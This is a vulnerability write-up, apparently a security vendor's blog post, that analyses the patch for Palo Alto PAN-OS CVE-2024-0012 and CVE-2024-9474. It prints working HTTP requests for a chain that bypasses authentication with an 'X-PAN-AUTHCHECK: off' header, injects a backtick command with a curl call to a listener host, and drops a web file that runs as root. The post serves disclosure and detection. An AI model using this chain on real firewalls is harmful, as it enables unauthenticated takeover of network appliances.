Pots and Pans, AKA an SSLVPN - Palo Alto PAN-OS CVE-2024-0012 and CVE-2024-9474

Sonny -

Note: Since this is 'breaking' news and more details are being released, we're updating this post as more details become available (and as we think of better memes). Mash that F5 key every so often for a better blogpost experience!

It's no big news that threat actors just love popping those SSLVPN appliances. There’s a new bug (well, two of them) that are being exploited in the Palo Alto offering, and as ever, we’re here to locate it and give you the low-down on what’s happening so you can keep your systems secure. Here's a quick teaser of what we achieved to whet your appetite:

Yep! Command injection! Every attacker's favourite bug class, allowing for simple and easy exploitation (once you know how).

As I'm sure you can imagine, analysing bugs under active exploitation is more than a requirement here at watchTowr, its a passion, and a calling. We've done some previous work on SSLVPN’s, including the Palo Alto appliance - longtime readers will remember when we raced to analyse CVE-2024-3400 earlier this year.

Over the last few weeks, we’ve been closely monitoring a new bug, teased at various different phases. It started off as an ‘informational disclosure’, a whiff of a rumour of a critical vulnerability, the only public detail that it was reachable from the device’s management interface.

Kudos to Palo Alto for warning its customers of a potential bug before confirming it, and releasing patches as soon as possible. The general security posture of the device is such that mitigations were in place to restrict access to the management interface via a strict ruleset of IP whitelisting.

After a while, the rumour turned into an incremental advisory, arriving complete with indicators of compromise (such as IP addresses and webshell hashes), and then the ‘bomb dropped’ on Monday when the official advisories for CVE-2024-0012 and CVE-2024-9474 were announced.

This is a pair of bugs, described as ‘Authentication Bypass in the Management Web Interface’ and a ‘Privilege Escalation‘ respectively, strongly suggesting they are used as a chain to gain superuser access, a pattern that we’ve seen before with Palo Alto appliances. Before we’ve even dived into to code, we’ve already ascertained that we’re looking for a chain of vulnerabilities to achieve that coveted pre-authenticated Remote Code Execution.

With the patches released, it is time to go diffing for that gold! By looking at a pre-patched 10.2.12-h1 and a patched 10.2.12-h2 of ‘Palo Alto VM-Series Next-Gen Virtual Firewall w/Advanced Threat Prevention.’

We won’t go through jail breaking the appliance - this has been covered in detail by various sources, so we’re just going to assume that the motivated reader has already performed this step.

Instead, we start our journey by learning the structure and flow of data within the appliance’s management interface. Buckle up as we relay what we’ve learned.

The main application is of the absolutely stellar PHP language, and is served by an Apache server, fronted by an Nginx configuration.

The server itself is rife with PHP scripts, residing within the /var/appweb/htdocs/ directory. However, when trying to access these scripts from a web browser, we’re met with a redirect to the login page. We spent quite some time looking through the nginx config, Apache config, and the PHP scripts themselves to figure out why this was happening, and after a lot of effort we discovered the entry point to the PHP application is actually intended to be another, totally different PHP script. Take a look at this gem of a hack in the php.ini file:

auto_prepend_file = uiEnvSetup.php ; PAN-MODIFIED

I guess auto_prepend_file actually has legitimate use besides writing PHP exploits. Anyway, if we look through the uiEnvSetup.php file, we can see the script that’s performing the redirect:

if (
    $_SERVER['HTTP_X_PAN_AUTHCHECK'] != 'off'
    && $_SERVER['PHP_SELF'] !== '/CA/ocsp'
    &&  $_SERVER['PHP_SELF'] !== '/php/login.php'
    && stristr($_SERVER['REMOTE_HOST'], '127.0.0.1') === false
) {
    $_SERVER['PAN_SESSION_READONLY'] = true;
    $ws = WebSession::getInstance($ioc);
    $ws->start();
    $ws->close();
    // these are horrible hacks.
    // This whole code should be removed and only make available to a few pages: main, debug, etc.
    if (
        !Str::startsWith($_SERVER['PHP_SELF'], '/php-packages/panorama_webui/php/api/index.php')
        && !Str::startsWith($_SERVER['PHP_SELF'], '/php-packages/firewall_webui/php/api/index.php')
    ) {
        if (Backend::quickSessionExpiredCheck()) {
            if (isset($_SERVER['QUERY_STRING'])) {
                Util::login($_SERVER['QUERY_STRING']);
            } else {
                Util::login();
            }
            exit(1);
        }
    }
}

As you can see above, we present to you an example of PAN-OS's management interface auth boundary - the check that compares the HTTP header HTTP_X_PAN_AUTHCHECK with the ASCII value off.

Initially, on seeing this code, we took the world for what it is and thought - perhaps we could just specify X-Pan-Authcheck: off in our requests to disable authentication entirely - but, as ever, life is not that simple. Our requests still resulted in a login page - clearly, not what we want.

After some more digging, we found that this is being toggled within Nginx, where X-Pan-Authcheck header is set by default to on via the /etc/nginx/conf/proxy_default.conf file:

# default proxy request header setting
proxy_set_header Host $host;
proxy_set_header X-Real-IP $remote_addr;
proxy_set_header X-Real-Scheme $scheme;
proxy_set_header X-Real-Port $server_port;
proxy_set_header X-Real-Server-IP $server_addr;
proxy_set_header X-Forwarded-For  $proxy_add_x_forwarded_for;
proxy_set_header X-pan-ndpp-mode $pan_ndpp_mode;
proxy_set_header Proxy "";
proxy_set_header X-pan-AuthCheck $panAuthCheck;
proxy_max_temp_file_size 0;

This configuration file is included in the primary Nginx file - but, there is a mistake. More later.

Throughout the Nginx configuration, the value of $panAuthCheck is toggled based on the routes being called.

For example, the /unauth/ dir, which (as you’d expect) requires no auth, is handled like this:

if ($uri ~ ^\\/unauth\\/.+$) {
  set $panAuthCheck 'off';
}

Looked fun, but - why read, when you can diff?

Fortunately, there is only a small variation change between 10.2.12-h1 and 10.2.12-h2 , only a 5MB difference in size - how hard could it be?

Like most diffing adventures, we mounted the vdmk's to an Ubuntu instance and extracted the whole file system; after hours of looking, mysteriously, no difference could be discovered.

Not accepting the possibility that the patch was somehow invisible to the naked eye, we had an idea. Having spent some time recently diving through FortiManager’s file system, which holds the root filesystem in memory, as opposed to on disk, we thought - could it be Palo Alto have a similar setup, but with their patch process? Could it be that the patch is applied at boot-time, every time the appliance is started?

After booting up each respective version and jailbreaking them, we began painfully extracting the file system using SCP.

Whilst there was no significant change, there was enough to get our noses pointing in the direction.

Phase 1 - Authentication Bypass - CVE-2024-0012

Looking at the primary Nginx route configuration - /etc/nginx/conf/locations.conf - revealed quite a limited (yet impactful) change:

add_header Allow "GET, HEAD, POST, PUT, DELETE, OPTIONS";
 if ($request_method !~ ^(GET|HEAD|POST|PUT|DELETE|OPTIONS)$) {
   return 405;
 }
 
+proxy_set_header X-Real-IP "";
+proxy_set_header X-Real-Scheme "";
+proxy_set_header X-Real-Port "";
+proxy_set_header X-Real-Server-IP "";
+proxy_set_header X-Forwarded-For  "";
+proxy_set_header X-pan-ndpp-mode "";
+proxy_set_header Proxy "";
+proxy_set_header X-pan-AuthCheck 'on';


 # rewrite_log on;
 
 # static ones
@@ -27,6 +17,5 @@ location /nginx_status {
 location ~ \.js\.map$ {
   add_header Cache-Control "no-cache; no-store";
   proxy_pass_header Authorization;
+  include conf/proxy_default.conf;
   proxy_pass http://$gohost$gohostExt;
 }

While it doesn’t look like much, there’s enough here to deduce the entry point to CVE-2024-0012.

What does this tell us? Well, two vital things.

Firstly, we can see that a bunch of request headers are now being set before any definitions of routes or processing takes place, where they weren't - most importantly, this X-pan-AuthCheck value that controls authentication is now being set to on by default before any route handling is defined.

Secondly, we can see that conf/proxy_default.conf (where default headers are also set, including X-pan-AuthCheck) has been added to the handler for .js.map URIs - where before this was set later.

Doing some quick deductions, it looks like the authentication header wasn’t correctly set by Nginx previously within this directive in previous unpatched versions - could this allow us to abuse the proxypass declaration to send requests that did not have the HTTP request header X-pan-Authcheck configured, to supposedly 'protected' endpoints?

Leveraging our knowledge of Nginx proxypass abuse cases, we pondered about the state of enterprise-grade security appliances that everyone trusts to secure their communications and internal networks - and blasted variations to see if any would allow us through, for example:

/php/ztp_gate.php%3f.js.map
/php/ztp_gate.php?.js.map
/php/ztp_gate.php#.js.map
/php/ztp_gate.php/.js.map

None of which worked:

GET /php/ztp_gate.php/.js.map HTTP/1.1
Host: 18.142.51.124

HTTP/1.1 302 Found
Date: Tue, 19 Nov 2024 10:04:27 GMT
Content-Type: text/html; charset=UTF-8
Content-Length: 0
Connection: keep-alive
Set-Cookie: PHPSESSID=bu82e0mthttbaqbp6djh0lgpd9; path=/; HttpOnly
Expires: Thu, 19 Nov 1981 08:52:00 GMT
Cache-Control: no-store, no-cache, must-revalidate
Pragma: no-cache
Location: /php/login.php?
Cache-Control: no-cache; no-store

We were somewhat glum, until a bright light came on over our heads.

The uiEnvSetup.php script expects the HTTP_X_PAN_AUTHCHECK value to be set to off, something that was blocked by Nginx previously. Maybe we can just supply it?

Slightly more enlightened - we tried again:

GET /php/ztp_gate.php/.js.map HTTP/1.1
Host: {{Hostname}}
X-PAN-AUTHCHECK: off

HTTP/1.1 200 OK
Date: Tue, 19 Nov 2024 10:05:08 GMT
Content-Type: text/html; charset=UTF-8
Content-Length: 4635
Connection: keep-alive
Set-Cookie: PHPSESSID=m1sea0p2n2p89kncqked9sd2p1; path=/; HttpOnly
Expires: Thu, 19 Nov 1981 08:52:00 GMT
Cache-Control: no-cache, no-store, must-revalidate
Pragma: no-cache
Content-Security-Policy: default-src 'self'; connect-src 'self' data.pendo.io app.pendo.io pendo-static-5839728945463296.storage.googleapis.com; script-src 'self' 'unsafe-eval' 'unsafe-inline' app.pendo.io pendo-io-static.storage.googleapis.com cdn.pendo.io pendo-static-5839728945463296.storage.googleapis.com data.pendo.io; style-src 'self' 'unsafe-inline' app.pendo.io cdn.pendo.io pendo-static-5839728945463296.storage.googleapis.com; img-src 'self' data: cdn.pendo.io app.pendo.io pendo-static-5839728945463296.storage.googleapis.com data.pendo.io; frame-ancestors 'self' app.pendo.io; child-src 'self' app.pendo.io; form-action 'self' 'unsafe-eval' 'unsafe-inline'
Strict-Transport-Security: max-age=31536000
X-Content-Type-Options: nosniff
X-Frame-Options: DENY
X-XSS-Protection: 1; mode=block
Cache-Control: no-cache; no-store

<html>

<head>
    <title>Zero Touch Provisioning</title>

We simply… supply the off value to the X-PAN-AUTHCHECK HTTP request header, and the server helpfully turns off authentication?! At this point, why is anyone surprised?

That’s right folks, a simple reproducer for CVE-2024-0012. It couldn't be easier than that.

On to phase 2, the privesc bug!

Phase 2 - Privilege Escalation - CVE-2024-9474

Now the floodgates are open, and there is all sorts of post-authentication PHP functionality now within our grasp. Typically from this point, it’s down to our creativity to find the next step to RCE.

Let’s take a look at what the threat actors found by continuing our diff.

One file that stood out to us like a sore thumb was the change in /var/appweb/htdocs/php-packages/panui_core/src/log/AuditLog.php , which reveals a quite honest command injection:

<?php

namespace panui_core\log;

use pan_core\InjectableClass;
use pan_process\Process;
use pan_process\ShellSanitizer;

class AuditLog extends InjectableClass
{
  public function write($username, $message) {
    /** @var ShellSanitizer */
    $s = $this->ioc->get(ShellSanitizer::class);
    $msg = $s->escapeshellarg($message);

    /** @var Process */
    $p = $this->ioc->get(Process::class);
-    return $p->pexecute("/usr/local/bin/pan_elog -u audit -m $msg -o $username");
+    $u = $s->escapeshellarg($username);
+    return $p->pexecute("/usr/local/bin/pan_elog -u audit -m $msg -o $u");
  }
}

It couldn’t be more straightforward than this.

Somehow a user is able to pass a username containing shell metacharacters into the AuditLog.write() function, which then passes its value to pexecute() .

Looking at other changes, we discovered a file with quite a large change - /var/appweb/htdocs/php/utils/createRemoteAppwebSession.php.

<?php

WebSession::start();

/** @noinspection PhpUndefinedFunctionInspection */
$isCms = panui_platform_is_cms();
if ($isCms == 0) {
    // create a remote appweb session only on a device
    // 'vsys' is the list of accessible vsys for the user. If blank then it means all vsys

    $locale = isset($_POST['locale']) ? $_POST['locale'] : $_SESSION['locale'];
+    $user = $_POST['user'];
+    $userRole = $_POST['userRole'];
+    $remoteHost = $_POST['remoteHost'];
+    $vsys = $_POST['vsys'];
+    $editShared = $_POST['editShared'];
+    $protocol = $_POST['prot'];
+    $serverPort = $_SERVER['SERVER_PORT'];
+    $rbaXml = $_POST['rbaxml'];
+    $hideHeaderBg = $_POST['hideHeaderBg'];
+    if (strlen($user) <= 63
+        && strlen ($userRole) < 256
+        && strlen ($remoteHost) < 256
+        && strlen ($vsys) < 128
+        && strlen ($editShared) < 128
+        && strlen ($protocol) < 128
+        && strlen ($serverPort) < 128
+        && strlen ($rbaXml) < 1024 * 1024
+        && strlen ($locale) < 256
+        && strlen ($hideHeaderBg) < 128
+    ) {
        /** @noinspection PhpUndefinedFunctionInspection */
        panCreateRemoteAppwebSession(
-            $_POST['user'],
+            $user,
-            $_POST['userRole'],
+            $userRole,
-            $_POST['remoteHost'],
+            $remoteHost,
-            $_POST['vsys'],
+            $vsys,
-            $_POST['editShared'],
+            $editShared,
-            $_POST['prot'],
+            $protocol,
-            $_SERVER['SERVER_PORT'],
+            $serverPort,
-            $_POST['rbaxml'],
+            $rbaXml,
            $locale,
-            $_POST['hideHeaderBg'],
+            $hideHeaderBg
        );
+    } else {
+        error_log("An invalid attempt was made with mismatched lengths while attempting to create a remote appweb session");
+    }
}

session_write_close();
Before we go further, our understanding for this functionality is a little insane.
Our understanding is that this functionality is for users of Palo Alto Panorama to effectively 'jump into' connected SSLVPN/firewall devices - as you can see above though, with no actual authentication (i.e. valid password) required. This functionality allows a Palo Alto Panorma devices to specify the user, user role and more that they would like to impersonate - and in a very friendly way, be provided with a fully authenticated, 2FA-not-required, valid PHP session ID.

When first looking at this, it's quite clear the functionality appears to be creating a PHP session - for a seemingly arbitrary user, and seemingly arbitrary role - based on the values of POST parameters passed in the HTTP requests.

For a second, we were thrown off by the introduced length checks - was this about to become some unusual memory corruption vulnerability? And then we chuckled, because never has anything remotely looking like complexity been needed with an appliance.

Our theory was simple - the value being passed via the 'user' parameter was likely going into $_SESSION['userName'] that as we saw above was the source of what looked like a patch for a command injection vulnerability.

Fret not - we decided to proceed and created a username containing a simple curl command to our external listening host:

POST /php/utils/createRemoteAppwebSession.php/aaaa.js.map HTTP/1.1
Host: {{Hostname}}
X-PAN-AUTHCHECK: off
Content-Type: application/x-www-form-urlencoded
Content-Length: 99

user=`curl {{listening-host}}`&userRole=superuser&remoteHost=&vsys=vsys1

This returns us a nice PHP session ID value:

HTTP/1.1 200 OK
Date: Tue, 19 Nov 2024 09:06:44 GMT
Content-Type: text/html; charset=UTF-8
Content-Length: 48
Connection: keep-alive
Set-Cookie: PHPSESSID=isbhbjpdkhvmkhio0hcpsgmtk6; path=/; HttpOnly
Expires: Thu, 19 Nov 1981 08:52:00 GMT
Cache-Control: no-store, no-cache, must-revalidate
Pragma: no-cache
Cache-Control: no-cache; no-store

@start@PHPSESSID=isbhbjpdkhvmkhio0hcpsgmtk6@end@

A quick look at the file system shows our payload is sitting tight within the session’s contents, and as expected, in the 'userName' key (i.e. $_SESSION['userName']):

[root@PA-VM /]# cat ./opt/pancfg/mgmt/phpsessions/sess_isbhbjpdkhvmkhio0hcpsgmtk6
cmsRemoteSession|s:1:"1";panorama_sessionid|s:5:"dummy";user|s:16:"XXXX";userName|s:52:"`curl {{listening-host}}`";userRole|s:9:"superuser"

We’d like to be honest here and give the complete trace down of where this bug actually is, source-to-sink but, well, sometimes you just need to use a sledgehammer instead of tweezers.

With our payload injected into the correct location, we set out to blast all endpoints with our shiny PHPSESSID . As the code affected by the command injection was in audit log writing code, we just took a punt and fired our request - with our newly minted and forged PHP session at index.php.

GET /index.php/.js.map HTTP/1.1
Host: {{Hostname}}
Cookie: PHPSESSID=2jq4l1nv43idudknmhj830vdde;
X-PAN-AUTHCHECK: off
Connection: keep-alive

The command under the hood looks a little like this (thanks pspy!):

CMD: UID=0     PID=87502  | sh -c export panusername="`curl {{listening-host}}`";export superuser="1";export isxml="yes";/usr/local/bin/sdb -e -n ha.app.local.state

Please pause. It's 2024. We've made our point, so we'll say nothing more.

The full chain looks something like this:

POST /php/utils/createRemoteAppwebSession.php/watchTowr.js.map HTTP/1.1
Host: {{Hostname}}
X-PAN-AUTHCHECK: off
Content-Type: application/x-www-form-urlencoded
Content-Length: 107

user=`echo $(uname -a) > /var/appweb/htdocs/unauth/watchTowr.php`&userRole=superuser&remoteHost=&vsys=vsys1

GET /index.php/.js.map HTTP/1.1
Host: {{Hostname}}
Cookie: PHPSESSID=2qe3kouhjdm8317f6vmueh1m8n;
X-PAN-AUTHCHECK: off
Connection: keep-alive

GET /unauth/watchTowr.php HTTP/1.1
Host: 192.168.1.227
Cookie: PHPSESSID=fvepfik7vrmvdlkns30rgpn1jb;
X-PAN-AUTHCHECK: off
Connection: keep-alive

This results in our injected command being executed.:

HTTP/1.1 200 OK
Date: Tue, 19 Nov 2024 09:39:17 GMT
Content-Type: text/html; charset=UTF-8
Content-Length: 108
Connection: keep-alive
Allow: GET, HEAD, POST, PUT, DELETE, OPTIONS

Linux PA-VM 4.18.0-240.1.1.20.pan.x86_64 #1 SMP Wed Jul 31 20:37:12 PDT 2024 x86_64 x86_64 x86_64 GNU/Linux

Summary

So, yet another super-duper secure next-generation hardened security appliance popped.

This time it’s due to those pesky backticks, combined with the super-complicated step of simply asking the server not to check our authentication via X-PAN-AUTHCHECK.

It’s amazing that these two bugs got into a production appliance, amazingly allowed via the hacked-together mass of shell script invocations that lurk under the hood of a Palo Alto appliance.

Usual readers might be expecting a nice PoC, and while we’d love to provide one, we’re holding off on this one for a week or so to allow administrators time to patch - but instead, we’re releasing a Nuclei template that you can use to check if your hosts are affected here.

At watchTowr, we believe continuous security testing is the future, enabling the rapid identification of holistic high-impact vulnerabilities that affect your organisation.

It's our job to understand how emerging threats, vulnerabilities, and TTPs affect your organisation.

If you'd like to learn more about the watchTowr Platform, our Attack Surface Management and Continuous Automated Red Teaming solution, please get in touch.